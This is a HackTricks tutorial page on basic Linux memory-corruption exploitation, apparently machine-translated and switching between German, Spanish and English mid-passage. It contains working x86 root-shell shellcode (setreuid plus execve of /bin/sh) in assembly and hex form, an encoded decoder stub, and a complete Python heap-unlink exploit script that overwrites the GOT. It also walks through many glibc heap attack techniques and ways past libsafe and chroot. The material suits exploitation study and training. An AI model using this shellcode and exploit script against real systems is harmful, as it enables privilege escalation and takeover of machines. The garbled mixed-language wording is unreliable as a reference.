hacktricks/exploiting/linux-exploiting-basic-esp/README.md

572 lines
34 KiB
Markdown
Raw Normal View History

# Linux Exploiting (Basic) (SPA)
2022-05-01 13:25:53 +00:00
2022-04-28 16:01:33 +00:00
<details>
<summary><strong>Erlernen Sie AWS-Hacking von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2022-04-28 16:01:33 +00:00
2024-02-10 15:36:32 +00:00
Andere Möglichkeiten, HackTricks zu unterstützen:
2023-12-30 10:12:47 +00:00
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
2024-02-10 15:36:32 +00:00
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
2024-02-10 15:36:32 +00:00
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories senden.
2022-04-28 16:01:33 +00:00
</details>
2022-05-01 13:25:53 +00:00
## **2.SHELLCODE**
Siehe Kernel-Unterbrechungen: cat /usr/include/i386-linux-gnu/asm/unistd\_32.h | grep “\_\_NR\_”
2022-02-28 09:13:08 +00:00
setreuid(0,0); // \_\_NR\_setreuid 70\
execve(“/bin/sh”, args\[], NULL); // \_\_NR\_execve 11\
exit(0); // \_\_NR\_exit 1
xor eax, eax ; löschen von eax\
xor ebx, ebx ; ebx = 0 da kein Argument übergeben wird\
2022-02-28 09:13:08 +00:00
mov al, 0x01 ; eax = 1 —> \_\_NR\_exit 1\
int 0x80 ; Syscall ausführen
**nasm -f elf assembly.asm** —> Gibt uns eine .o-Datei zurück\
**ld assembly.o -o shellcodeout** —> Erzeugt eine ausführbare Datei aus dem Assemblercode, aus der wir die Opcodes mit **objdump** extrahieren können\
**objdump -d -Mintel ./shellcodeout** —> Um sicherzustellen, dass es sich tatsächlich um unseren Shellcode handelt und um die Opcodes zu extrahieren
**Überprüfen Sie, ob der Shellcode funktioniert**
```
char shellcode[] = “\x31\xc0\x31\xdb\xb0\x01\xcd\x80”
void main(){
2024-02-10 15:36:32 +00:00
void (*fp) (void);
fp = (void *)shellcode;
fp();
}<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
Para confirmar, dass Systemaufrufe korrekt ausgeführt werden, muss das vorherige Programm kompiliert werden und die Systemaufrufe sollten in **strace ./KOMPILIERTE\_PROGRAMM** erscheinen.
Beim Erstellen von Shellcodes kann ein Trick angewendet werden. Die erste Anweisung ist ein Sprung zu einem Aufruf. Der Aufruf ruft den Originalcode auf und legt zusätzlich das EIP im Stack ab. Nach dem Aufruf haben wir den benötigten String platziert, sodass wir mit diesem EIP auf den String zeigen und gleichzeitig den Code weiter ausführen können.
2024-02-10 15:36:32 +00:00
BEISPIEL **TRICK (/bin/sh)**:
```
jmp 0x1f ; Salto al último call
popl %esi ; Guardamos en ese la dirección al string
movl %esi, 0x8(%esi) ; Concatenar dos veces el string (en este caso /bin/sh)
xorl %eax, %eax ; eax = NULL
movb %eax, 0x7(%esi) ; Ponemos un NULL al final del primer /bin/sh
movl %eax, 0xc(%esi) ; Ponemos un NULL al final del segundo /bin/sh
movl $0xb, %eax ; Syscall 11
movl %esi, %ebx ; arg1=“/bin/sh”
leal 0x8(%esi), %ecx ; arg[2] = {“/bin/sh”, “0”}
leal 0xc(%esi), %edx ; arg3 = NULL
int $0x80 ; excve(“/bin/sh”, [“/bin/sh”, NULL], NULL)
xorl %ebx, %ebx ; ebx = NULL
2024-02-10 15:36:32 +00:00
movl %ebx, %eax
inc %eax ; Syscall 1
int $0x80 ; exit(0)
call -0x24 ; Salto a la primera instrución
.string \”/bin/sh\” ; String a usar<span id="mce_marker" data-mce-type="bookmark" data-mce-fragment="1"></span>
```
**EJ using Stack(/bin/sh):**
```
section .text
global _start
_start:
xor eax, eax ;Limpieza
mov al, 0x46 ; Syscall 70
xor ebx, ebx ; arg1 = 0
xor ecx, ecx ; arg2 = 0
int 0x80 ; setreuid(0,0)
xor eax, eax ; eax = 0
push eax ; “\0”
push dword 0x68732f2f ; “//sh”
push dword 0x6e69622f; “/bin”
mov ebx, esp ; arg1 = “/bin//sh\0”
push eax ; Null -> args[1]
push ebx ; “/bin/sh\0” -> args[0]
mov ecx, esp ; arg2 = args[]
mov al, 0x0b ; Syscall 11
int 0x80 ; excve(“/bin/sh”, args[“/bin/sh”, “NULL”], NULL)
```
**EJ FNSTENV:**
```
fabs
fnstenv [esp-0x0c]
pop eax ; Guarda el EIP en el que se ejecutó fabs
```
2024-02-10 15:36:32 +00:00
**Egg Hunter:**
Besteht aus einem kleinen Code, der die Speicherseiten eines Prozesses nach der dort gespeicherten Shellcode durchsucht (sucht nach einer Signatur im Shellcode). Nützlich in Fällen, in denen nur wenig Platz zum Einspritzen von Code zur Verfügung steht.
2024-02-10 15:36:32 +00:00
**Polymorphe Shellcodes**
Es handelt sich um verschlüsselte Shells, die über kleine Codes verfügen, die sie entschlüsseln und zu ihnen springen lassen, unter Verwendung des Call-Pop-Tricks wäre dies ein **Beispiel für eine Caesar-Verschlüsselung**:
```
global _start
_start:
2024-02-10 15:36:32 +00:00
jmp short magic
init:
2024-02-10 15:36:32 +00:00
pop esi
xor ecx, ecx
mov cl,0 ; Hay que sustituir el 0 por la longitud del shellcode (es lo que recorrerá)
desc:
2024-02-10 15:36:32 +00:00
sub byte[esi + ecx -1], 0 ; Hay que sustituir el 0 por la cantidad de bytes a restar (cifrado cesar)
sub cl, 1
jnz desc
jmp short sc
magic:
2024-02-10 15:36:32 +00:00
call init
sc:
2024-02-10 15:36:32 +00:00
;Aquí va el shellcode
```
## **5. Zusätzliche Methoden**
**Murat-Technik**
In Linux werden alle Programme ab 0xbfffffff gemappt.
Durch die Analyse des Aufbaus des Stacks eines neuen Prozesses in Linux kann ein Exploit entwickelt werden, bei dem das Programm in einer Umgebung gestartet wird, in der nur die Shellcode-Variable vorhanden ist. Die Adresse dieser Variable kann dann wie folgt berechnet werden: addr = 0xbfffffff - 4 - strlen(VOLLSTÄNDIGER_AUSFÜHRBARER_NAME) - strlen(shellcode)
Auf diese Weise kann einfach die Adresse ermittelt werden, an der sich die Umgebungsvariable mit dem Shellcode befindet.
Dies ist möglich, da die Funktion execle eine Umgebung erstellen kann, die nur die gewünschten Umgebungsvariablen enthält.
##
###
###
###
###
### **Format Strings to Buffer Overflows**
Das **sprintf** bewegt einen formatierten String in eine Variable. Daher könnte man die Formatierung eines Strings missbrauchen, um einen Pufferüberlauf in der Variablen zu verursachen, in die der Inhalt kopiert wird.\
Beispielsweise schreibt das Payload `%.44xAAAA` 44B+"AAAA" in die Variable, was einen Pufferüberlauf verursachen kann.
2024-02-10 15:36:32 +00:00
### **\_\_atexit-Strukturen**
{% hint style="danger" %}
Heutzutage ist es sehr ungewöhnlich, dies auszunutzen.
{% endhint %}
**`atexit()`** ist eine Funktion, der andere Funktionen als Parameter übergeben werden. Diese Funktionen werden ausgeführt, wenn ein **`exit()`** ausgeführt wird oder das **main** beendet wird.\
Wenn Sie die Adresse einer dieser Funktionen so ändern können, dass sie beispielsweise auf einen Shellcode zeigt, können Sie die Kontrolle über den Prozess übernehmen. Dies ist jedoch derzeit komplizierter.\
Derzeit sind die Adressen der auszuführenden Funktionen hinter mehreren Strukturen versteckt, und schließlich sind die Adressen, auf die sie zeigen, nicht die Adressen der Funktionen, sondern sind mit XOR verschlüsselt und Verschiebungen mit einem zufälligen Schlüssel. Daher ist dieser Angriffsvektor derzeit auf x86 und x64\_86 nicht sehr nützlich.\
Die Verschlüsselungsfunktion ist **`PTR_MANGLE`**. **Andere Architekturen** wie m68k, mips32, mips64, aarch64, arm, hppa... **implementieren die Verschlüsselungsfunktion nicht**, da sie das Gleiche zurückgeben wie sie als Eingabe erhalten haben. Daher wären diese Architekturen über diesen Vektor angreifbar.
2022-05-01 13:25:53 +00:00
### **setjmp() & longjmp()**
{% hint style="danger" %}
Heutzutage ist es sehr ungewöhnlich, dies auszunutzen.
{% endhint %}
**`Setjmp()`** ermöglicht das **Speichern** des Kontexts (der Register)\
**`longjmp()`** ermöglicht das **Wiederherstellen** des Kontexts.\
Die gespeicherten Register sind: `EBX, ESI, EDI, ESP, EIP, EBP`\
Das Problem ist, dass EIP und ESP durch die Funktion **`PTR_MANGLE`** übergeben werden, sodass die **Architektur, die anfällig für diesen Angriff ist, die gleiche ist wie oben**.\
Sie sind nützlich für Fehlerbehebung oder Unterbrechungen.\
Jedoch sind nach meinen Recherchen die anderen Register nicht geschützt, **so dass bei einem `call ebx`, `call esi` oder `call edi`** innerhalb der aufgerufenen Funktion die Kontrolle übernommen werden kann. Oder Sie könnten auch EBP ändern, um ESP zu ändern.
2024-02-10 15:36:32 +00:00
**VTable und VPTR in C++**
Jede Klasse hat eine **Vtable**, die ein Array von **Zeigern auf Methoden** ist.
Jedes Objekt einer **Klasse** hat einen **VPtr**, der ein **Zeiger** auf das Array seiner Klasse ist. Der VPtr ist Teil des Headers jedes Objekts, sodass bei einer **Überschreibung** des **VPtr** dieser geändert werden könnte, um auf eine Dummy-Methode zu zeigen, sodass beim Ausführen einer Funktion der Shellcode aufgerufen wird.
## **Präventivmaßnahmen und Umgehungen**
###
**Ersetzen von Libsafe**
Aktivieren mit: LD\_PRELOAD=/lib/libsafe.so.2\
oder\
“/lib/libsave.so.2” > /etc/ld.so.preload
Einige unsichere Funktionen werden durch sichere Funktionen abgefangen. Nicht standardisiert. (nur für x86, nicht für Kompilierungen mit -fomit-frame-pointer, nicht für statische Kompilierungen, nicht alle anfälligen Funktionen werden sicher gemacht und LD\_PRELOAD funktioniert nicht bei SUID-Binärdateien).
**ASCII Armored Address Space**
Es beinhaltet das Laden von Shared Libraries von 0x00000000 bis 0x00ffffff, damit immer ein Byte 0x00 vorhanden ist. Dies hält jedoch kaum einen Angriff auf, insbesondere nicht in Little Endian.
**ret2plt**
Es besteht darin, ein ROP durchzuführen, bei dem die Funktion strcpy@plt (aus der plt) aufgerufen wird und auf den Eintrag in der GOT gezeigt wird, und das erste Byte der zu aufrufenden Funktion (system()) kopiert wird. Anschließend wird dasselbe für GOT+1 durchgeführt und das 2. Byte von system() kopiert... Schließlich wird die in der GOT gespeicherte Adresse aufgerufen, die system() sein wird.
**Chroot-Käfige**
debootstrap -arch=i386 hardy /home/user —> Installiert ein grundlegendes System unter einem bestimmten Unterverzeichnis
Ein Administrator kann aus einem dieser Käfige ausbrechen, indem er: mkdir foo; chroot foo; cd ..
**Code-Instrumentierung**
Valgrind —> Sucht nach Fehlern\
Memcheck\
RAD (Return Address Defender)\
Insure++
## **8 Heap Overflows: Grundlegende Exploits**
**Zugewiesenes Stück**
prev\_size |\
size | —Header\
\*mem | Daten
**Freies Stück**
prev\_size |\
size |\
\*fd | Ptr vorwärts Chunk\
\*bk | Ptr rückwärts Chunk —Header\
\*mem | Daten
Die freien Stücke sind in einer doppelt verketteten Liste (bin) und es dürfen niemals zwei freie Stücke nebeneinander sein (sie werden zusammengeführt).
Im "size"-Feld gibt es Bits, um anzuzeigen: ob das vorherige Stück verwendet wird, ob das Stück über mmap() zugewiesen wurde und ob das Stück zum primären Arena gehört.
Wenn ein Stück freigegeben wird und eines der benachbarten Stücke frei ist, werden diese durch die Makro unlink() fusioniert und das größere neue Stück wird frontlink() übergeben, um es in den entsprechenden Bin einzufügen.
unlink(){\
BK = P->bk; —> Der BK des neuen Chunks ist der, den das zuvor freie Stück hatte\
FD = P->fd; —> Der FD des neuen Chunks ist der, den das zuvor freie Stück hatte\
FD->bk = BK; —> Der BK des nächsten Chunks zeigt auf den neuen Chunk\
BK->fd = FD; —> Der FD des vorherigen Chunks zeigt auf den neuen Chunk\
}
Daher, wenn es gelingt, P->bk mit der Adresse eines Shellcodes und P->fd mit der Adresse eines Eintrags in der GOT oder DTORS minus 12 zu ändern, wird erreicht:
BK = P->bk = \&shellcode\
FD = P->fd = &\_\_dtor\_end\_\_ - 12\
FD->bk = BK -> \*((&\_\_dtor\_end\_\_ - 12) + 12) = \&shellcode
Dadurch wird der Shellcode beim Verlassen des Programms ausgeführt.
Außerdem schreibt der 4. Satz von unlink() etwas, und der Shellcode muss dafür angepasst werden:
BK->fd = FD -> \*(\&shellcode + 8) = (&\_\_dtor\_end\_\_ - 12) —> Dies führt dazu, dass 4 Bytes ab dem 8. Byte des Shellcodes geschrieben werden, sodass die erste Anweisung des Shellcodes ein Sprung sein muss, um dies zu überspringen und zu den Nops zu gelangen, die den Rest des Shellcodes ausführen.
2024-02-10 15:36:32 +00:00
Daher wird der Exploit erstellt:
In den Puffer1 wird der Shellcode eingefügt, beginnend mit einem Sprung, damit er zu den Nops oder dem Rest des Shellcodes gelangt.
Nach dem Shellcode wird Füllmaterial eingefügt, bis die Felder prev\_size und size des nächsten Stücks erreicht sind. An diesen Stellen werden 0xfffffff0 (um prev\_size zu überschreiben, damit das Bit angezeigt wird, dass es frei ist) und "-4" (0xfffffffc) in die size eingefügt (damit, wenn im 3. Stück überprüft wird, ob das 2. Stück frei war, tatsächlich auf die modifizierte prev\_size verwiesen wird, die angibt, dass es frei ist) -> Wenn also free() überprüft, wird es zur size des 3. Stücks gehen, aber tatsächlich zum 2. - 4 und denken, dass das 2. Stück frei ist. Dann wird **unlink()** aufgerufen.
Al llamar a unlink() se usará P->fd los primeros datos del 2º trozo por lo que ahí se meterá la dirección que se quieres sobreescribir - 12(pues en FD->bk le sumará 12 a la dirección guardada en FD) . Y en esa dirección introducirá la segunda dirección que encuentre en el 2º trozo, que nos interesará que sea la dirección a la shellcode(P->bk falso).
**from struct import \***
**import os**
**shellcode = "\xeb\x0caaaabbbbcccc" #jm 12 + 12bytes de relleno**
**shellcode += "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b" \\**
**"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd" \\**
**"\x80\xe8\xdc\xff\xff\xff/bin/sh";**
**prev\_size = pack("\<I”, 0xfffffff0) #Interesa que el bit que indica que el anterior trozo está libre esté a 1**
**fake\_size = pack("\<I”, 0xfffffffc) #-4, para que piense que el “size” del 3º trozo está 4bytes detrás (apunta a prev\_size) pues es ahí donde mira si el 2º trozo está libre**
**addr\_sc = pack("\<I", 0x0804a008 + 8) #En el payload al principio le vamos a poner 8bytes de relleno**
**got\_free = pack("\<I", 0x08048300 - 12) #Dirección de free() en la plt-12 (será la dirección que se sobrescrita para que se lanza la shellcode la 2º vez que se llame a free)**
**payload = "aaaabbbb" + shellcode + "b"\*(512-len(shellcode)-8) # Como se dijo el payload comienza con 8 bytes de relleno porque sí**
**payload += prev\_size + fake\_size + got\_free + addr\_sc #Se modifica el 2º trozo, el got\_free apunta a donde vamos a guardar la direccion addr\_sc + 12**
**os.system("./8.3.o " + payload)**
**unset() liberando en sentido inverso (wargame)**
Estamos controlando 3 chunks consecutivos y se liberan en orden inverso al reservado.
En ese caso:
En el chunck c se pone el shellcode
El chunck a lo usamos para sobreescribir el b de forma que el el size tenga el bit PREV\_INUSE desactivado de forma que piense que el chunck a está libre.
Además, se sobreescribe en la cabecera b el size para que valga -4.
Entonces, el programa se pensará que “a” está libre y en un bin, por lo que llamará a unlink() para desenlazarlo. Sin embargo, como la cabecera PREV\_SIZE vale -4. Se pensará que el trozo de “a” realmente empieza en b+4. Es decir, hará un unlink() a un trozo que comienza en b+4, por lo que en b+12 estará el puntero “fd” y en b+16 estará el puntero “bk”.
De esta forma, si en bk ponemos la dirección a la shellcode y en fd ponemos la dirección a la función “puts()”-12 tenemos nuestro payload.
**Técnica de Frontlink**
Se llama a frontlink cuando se libera algo y ninguno de sus trozos contiguos no son libres, no se llama a unlink() sino que se llama directamente a frontlink().
Vulnerabilidad útil cuando el malloc que se ataca nunca es liberado (free()).
Necesita:
Un buffer que pueda desbordarse con la función de entrada de datos
Un buffer contiguo a este que debe ser liberado y al que se le modificará el campo fd de su cabecera gracias al desbordamiento del buffer anterior
Un buffer a liberar con un tamaño mayor a 512 pero menor que el buffer anterior
Un buffer declarado antes del paso 3 que permita sobreescribir el prev\_size de este
De esta forma logrando sobres cribar en dos mallocs de forma descontrolada y en uno de forma controlada pero que solo se libera ese uno, podemos hacer un exploit.
**Vulnerabilidad double free()**
Si se llama dos veces a free() con el mismo puntero, quedan dos bins apuntando a la misma dirección.
En caso de querer volver a usar uno se asignaría sin problemas. En caso de querer usar otro, se le asignaría el mismo espacio por lo que tendríamos los punteros “fd” y “bk” falseados con los datos que escribirá la reserva anterior.
**After free()**
Un puntero previamente liberado es usado de nuevo sin control.
## **8 Heap Overflows: Exploits avanzados**
Las técnicas de Unlink() y FrontLink() fueron eliminadas al modificar la función unlink().
2022-04-28 23:27:22 +00:00
**The house of mind**
Solo una llamada a free() es necesaria para provocar la ejecución de código arbitrario. Interesa buscar un segundo trozo que puede ser desbordado por uno anterior y liberado.
Una llamada a free() provoca llamar a public\_fREe(mem), este hace:
2022-02-28 09:13:08 +00:00
mstate ar\_ptr;
mchunkptr p;
p = mem2chunk(mes); —> Devuelve un puntero a la dirección donde comienza el trozo (mem-8)
2022-02-28 09:13:08 +00:00
ar\_ptr = arena\_for\_chunk(p); —> chunk\_non\_main\_arena(ptr)?heap\_for\_ptr(ptr)->ar\_ptr:\&main\_arena \[1]
2022-02-28 09:13:08 +00:00
\_int\_free(ar\_ptr, mem);
}
En \[1] comprueba el campo size el bit NON\_MAIN\_ARENA, el cual se puede alterar para que la comprobación devuelva true y ejecute heap\_for\_ptr() que hace un and a “mem” dejando a 0 los 2.5 bytes menos importantes (en nuestro caso de 0x0804a000 deja 0x08000000) y accede a 0x08000000->ar\_ptr (como si fuese un struct heap\_info)
De esta forma si podemos controlar un trozo por ejemplo en 0x0804a000 y se va a liberar un trozo en **0x081002a0** podemos llegar a la dirección 0x08100000 y escribir lo que queramos, por ejemplo **0x0804a000**. Cuando este segundo trozo se libere se encontrará que heap\_for\_ptr(ptr)->ar\_ptr devuelve lo que hemos escrito en 0x08100000 (pues se aplica a 0x081002a0 el and que vimos antes y de ahí se saca el valor de los 4 primeros bytes, el ar\_ptr)
De esta forma se llama a \_int\_free(ar\_ptr, mem), es decir, **\_int\_free(0x0804a000, 0x081002a0)**\
2022-02-28 09:13:08 +00:00
**\_int\_free(mstate av, Void\_t\* mem){**\
…\
2022-02-28 09:13:08 +00:00
bck = unsorted\_chunks(av);\
fwd = bck->fd;\
p->bk = bck;\
p->fd = fwd;\
bck->fd = p;\
fwd->bk = p;
..}
Como hemos visto antes podemos controlar el valor de av, pues es lo que escribimos en el trozo que se va a liberar.
Tal y como se define unsorted\_chunks, sabemos que:\
bck = \&av->bins\[2]-8;\
fwd = bck->fd = \*(av->bins\[2]);\
fwd->bk = \*(av->bins\[2] + 12) = p;
Por lo tanto si en av->bins\[2] escribimos el valor de \_\_DTOR\_END\_\_-12 en la última instrucción se escribirá en \_\_DTOR\_END\_\_ la dirección del segundo trozo.
Es decir, en el primer trozo tenemos que poner al inicio muchas veces la dirección de \_\_DTOR\_END\_\_-12 porque de ahí la sacará av->bins\[2]
En la dirección que caiga la dirección del segundo trozo con los últimos 5 ceros hay que escribir la dirección a este primer trozo para que heap\_for\_ptr() piense que el ar\_ptr está al inicio del primer trozo y saque de ahí el av->bins\[2]
En the second chunk and thanks to the first one we overwrite the prev\_size with a jump 0x0c and the size with something to trigger -> NON\_MAIN\_ARENA
Next in chunk 2 we put a lot of nops and finally the shellcode
This way \_int\_free(CHUNK1, CHUNK2) will be called and will follow the instructions to write in \_\_DTOR\_END\_\_ the address of the prev\_size of CHUNK2 which will jump to the shellcode.
To apply this technique, some additional requirements need to be met which complicate the payload a bit more.
This technique is no longer applicable as almost the same patch as for unlink was applied. It compares if the new site being pointed to is also pointing back to it.
**Fastbin**
It is a variant of The house of mind
we are interested in executing the following code which is reached after the first check in the \_int\_free() function
fb = &(av->fastbins\[fastbin\_index(size)] —> Being fastbin\_index(sz) —> (sz >> 3) - 2
p->fd = \*fb
\*fb = p
This way, if we put in "fb" the address of a function in the GOT, the address to the overwritten chunk will be placed at this address. For this, it will be necessary for the arena to be close to the dtors addresses. More precisely, av->max\_fast must be at the address we are going to overwrite.
Since with The House of Mind it was seen that we controlled the position of av.
So if we put a size of 8 + NON\_MAIN\_ARENA + PREV\_INUSE in the size field -> fastbin\_index() will return fastbins\[-1\], which will point to av->max\_fast
In this case, av->max\_fast will be the address that is overwritten (not the one it points to, but that position will be overwritten).
It must also be ensured that the contiguous chunk to the freed one must be larger than 8 -> Since we have said that the size of the freed chunk is 8, in this fake chunk we only have to put a size larger than 8 (also, since the shellcode will be in the freed chunk, we will have to put a jump at the beginning that falls into nops).
Additionally, this same fake chunk must be smaller than av->system\_mem. av->system\_mem is located 1848 bytes beyond.
Due to the nulls in \_DTOR\_END\_ and the few addresses in the GOT, none of these addresses are suitable to be overwritten, so let's see how to apply fastbin to attack the stack.
Another form of attack is redirecting the **av** to the stack.
If we modify the size to be 16 instead of 8 then: fastbin\_index() will return fastbins\[0\] and we can use this to overwrite the stack.
For this, there should be no canary or weird values on the stack, in fact, we have to find ourselves in this: 4 null bytes + EBP + RET
The 4 null bytes are needed so that the **av** will be at this address and the first element of an **av** is the mutex that must be 0.
The **av->max\_fast** will be the EBP and will be a value that will help us bypass the restrictions.
In **av->fastbins\[0\]** will be overwritten with the address of **p** and it will be the RET, so it will jump to the shellcode.
Also, in **av->system\_mem** (1484 bytes above the stack position) there will be enough garbage that will allow us to bypass the check that is performed.
It must also be ensured that the contiguous chunk to the freed one must be larger than 8 -> Since we have said that the size of the freed chunk is 16, in this fake chunk we only have to put a size larger than 8 (also, since the shellcode will be in the freed chunk, we will have to put a jump at the beginning that falls into nops that come after the size field of the new fake chunk).
**The House of Spirit**
In this case, we seek to have a pointer to a malloc that can be altered by the attacker (for example, the pointer is on the stack below a possible overflow to a variable).
Thus, we could make this pointer point wherever. However, not any location is valid, the size of the faked chunk must be smaller than av->max\_fast and more specifically equal to the size requested in a future call to malloc()+8. Therefore, if we know that after this vulnerable pointer a malloc(40) is called, the size of the fake chunk must be equal to 48.
For example, if the program asks the user for a number, we could enter 48 and point the modifiable malloc pointer to the next 4 bytes (which could belong to the EBP with luck, so the 48 remains behind, as if it were the size header). Additionally, the address ptr-4+48 must meet several conditions (in this case ptr=EBP), that is, 8 < ptr-4+48 < av->system\_mem.
If this is met, when the next malloc call that we said was malloc(40) is made, the address assigned to it will be the address of the EBP. In case the attacker can also control what is written in this malloc, they can overwrite both the EBP and the EIP with the desired address.
I think this is because when it is freed free() will save that at the address pointing to the EBP of the stack there is a chunk of perfect size for the new malloc() that is wanted to reserve, so it assigns that address.
**The House of Force**
It is necessary:
* An overflow to a chunk that allows overwriting the wilderness
* A call to malloc() with the size defined by the user
* A call to malloc() whose data can be defined by the user
The first thing to do is to overwrite the size of the wilderness chunk with a very large value (0xffffffff), so any sufficiently large memory request will be handled in \_int\_malloc() without the need to expand the heap.
The second step is to alter av->top to point to a memory area under the attacker's control, such as the stack. In av->top, \&EIP - 8 will be placed.
We have to overwrite av->top to point to the memory area under the attacker's control:
victim = av->top;
2022-02-28 09:13:08 +00:00
remainder = chunck\_at\_offset(victim, nb);
av->top = remainder;
Victim collects the value of the current wilderness chunk address (the current av->top) and remainder is exactly the sum of that address plus the number of bytes requested by malloc(). So if \&EIP-8 is at 0xbffff224 and av->top contains 0x080c2788, then the amount we have to reserve in the controlled malloc for av->top to point to $EIP-8 for the next malloc() will be:
0xbffff224 - 0x080c2788 = 3086207644.
This way the altered value will be saved in av->top and the next malloc will point to the EIP and it can be overwritten.
It is important to know that the size of the new wilderness chunk is larger than the request made by the last malloc(). That is, if the wilderness is pointing to \&EIP-8, the size will be right in the EBP field of the stack.
**The House of Lore**
**SmallBin Corruption**
The freed chunks are placed in the bin based on their size. But before being placed, they are stored in unsorted bins. When a chunk is freed, it is not immediately placed in its bin but remains in unsorted bins. Then, if a new chunk is requested and the previously freed one can be used, it is returned, but if a larger one is requested, the freed chunk in unsorted bins is placed in its appropriate bin.
To reach the vulnerable code, the memory request must be greater than av->max\_fast (usually 72) and less than MIN\_LARGE\_SIZE (512).
Si in den Bins ein Stück mit der richtigen Größe für die Anforderungen vorhanden ist, wird dieses nach dem Entkoppeln zurückgegeben:
bck = victim->bk; Zeigt auf das vorherige Stück, dies ist die einzige Information, die wir ändern können.
bin->bk = bck; Das vorletzte Stück wird zum letzten, falls bck auf den Stack zum nächsten reservierten Stück zeigt, wird ihm diese Adresse gegeben.
bck->fd = bin; Die Liste wird geschlossen, indem sie auf bin zeigt.
Erforderlich sind:
Zwei malloc-Reservierungen, sodass nach der Freigabe des zweiten ein Überlauf im ersten erfolgen kann (d. h. ein größeres malloc als das zweite Stück reserviert wurde, bevor der Überlauf erfolgt)
Der vom Angreifer gewählte malloc-Speicher muss vom Angreifer kontrolliert werden.
Das Ziel ist folgendes: Wenn wir einen Heap-Überlauf auf einem Heap durchführen können, der ein bereits freigegebenes Stück unter sich hat und in seinem Bin liegt, können wir seinen bk-Pointer ändern. Wenn wir seinen bk-Pointer ändern und dieses Stück das erste in der Bin-Liste wird und reserviert wird, wird der Bin getäuscht und ihm wird gesagt, dass das letzte Stück in der Liste (das nächste Angebot) an der falschen Adresse liegt, die wir angegeben haben (zum Beispiel auf den Stack oder GOT). Wenn also ein weiteres Stück reserviert wird und der Angreifer Berechtigungen dafür hat, wird ihm ein Stück an der gewünschten Position gegeben und er kann darauf schreiben.
Nachdem das modifizierte Stück freigegeben wurde, muss ein größeres Stück als das freigegebene reserviert werden, damit das modifizierte Stück aus den unsortierten Bins entfernt und in sein Bin eingefügt wird.
Sobald es in seinem Bin ist, ist es an der Zeit, seinen bk-Pointer durch den Überlauf so zu ändern, dass er auf die gewünschte Adresse zeigt.
Der Bin muss warten, bis malloc() ausreichend oft aufgerufen wird, damit der modifizierte Bin erneut verwendet wird und den Bin dazu bringt zu glauben, dass das nächste Stück an der falschen Adresse liegt. Anschließend wird das gewünschte Stück gegeben.
Um die Schwachstelle so schnell wie möglich auszunutzen, wäre ideal: Reservierung des anfälligen Stücks, Reservierung des zu modifizierenden Stücks, Freigabe dieses Stücks, Reservierung eines größeren Stücks als das zu modifizierende, Modifizierung des Stücks (Schwachstelle), Reservierung eines Stücks gleicher Größe wie das verwundbare und Reservierung eines zweiten Stücks gleicher Größe, das auf die gewählte Adresse zeigt.
Zum Schutz vor diesem Angriff wird die typische Überprüfung verwendet, dass das Stück "nicht" falsch ist: Es wird überprüft, ob bck->fd auf victim zeigt. Das heißt, in unserem Fall, ob der fd-Pointer des falschen Stücks, das auf dem Stack zeigt, auf victim zeigt. Um diesen Schutz zu umgehen, müsste der Angreifer auf irgendeine Weise (wahrscheinlich über den Stack) in der Lage sein, die Adresse von victim an die richtige Adresse zu schreiben. Damit es wie ein echtes Stück aussieht.
**Korruption LargeBin**
Die gleichen Anforderungen wie zuvor sind erforderlich und einige mehr, außerdem müssen die reservierten Stücke größer als 512 sein.
Der Angriff ist wie zuvor, das heißt, der bk-Pointer muss geändert werden und all diese malloc()-Aufrufe sind erforderlich, aber zusätzlich muss die Größe des modifizierten Stücks so geändert werden, dass size - nb < MINSIZE ist.
Zum Beispiel muss die Größe auf 1552 gesetzt werden, damit 1552 - 1544 = 8 < MINSIZE (die Subtraktion kann nicht negativ sein, da ein unsigned-Wert verglichen wird)
Außerdem wurde ein Patch eingeführt, um es noch komplizierter zu machen.
**Heap Spraying**
Es besteht im Wesentlichen darin, so viel Speicher wie möglich für Heaps zu reservieren und diese mit einer Schicht von Nops gefolgt von einer Shellcode zu füllen. Außerdem wird 0x0c als Polster verwendet. Es wird versucht, auf die Adresse 0x0c0c0c0c zu springen, und wenn also eine Adresse überschrieben wird, die mit diesem Polster aufgerufen wird, wird dorthin gesprungen. Im Wesentlichen besteht die Taktik darin, so viel wie möglich zu reservieren, um zu sehen, ob ein Pointer überschrieben wird, und auf 0x0c0c0c0c zu springen, in der Hoffnung, dass dort Nops vorhanden sind.
**Heap Feng Shui**
Es besteht darin, durch Reservierungen und Freigaben den Speicher so zu strukturieren, dass reservierte Stücke zwischen freien Stücken verbleiben. Der Puffer, der überlaufen werden soll, wird in einem der Lücken platziert.
**objdump -d ausführbar** —> Disas-Funktionen\
**objdump -d ./PROGRAMM | grep FUNKTION** —> Funktionadresse erhalten\
**objdump -d -Mintel ./shellcodeout** —> Um sicherzustellen, dass es sich tatsächlich um unseren Shellcode handelt und die OpCodes zu extrahieren\
**objdump -t ./exec | grep varBss** —> Symboltabelle, um Adressen von Variablen und Funktionen zu extrahieren\
**objdump -TR ./exec | grep exit(func lib)** —> Um Adressen von Bibliotheksfunktionen (GOT) zu extrahieren\
**objdump -d ./exec | grep funcCode**\
**objdump -s -j .dtors /exec**\
**objdump -s -j .got ./exec**\
**objdump -t --dynamic-relo ./exec | grep puts** —> Extrahiert die Adresse von puts, die in der GOT überschrieben werden soll\
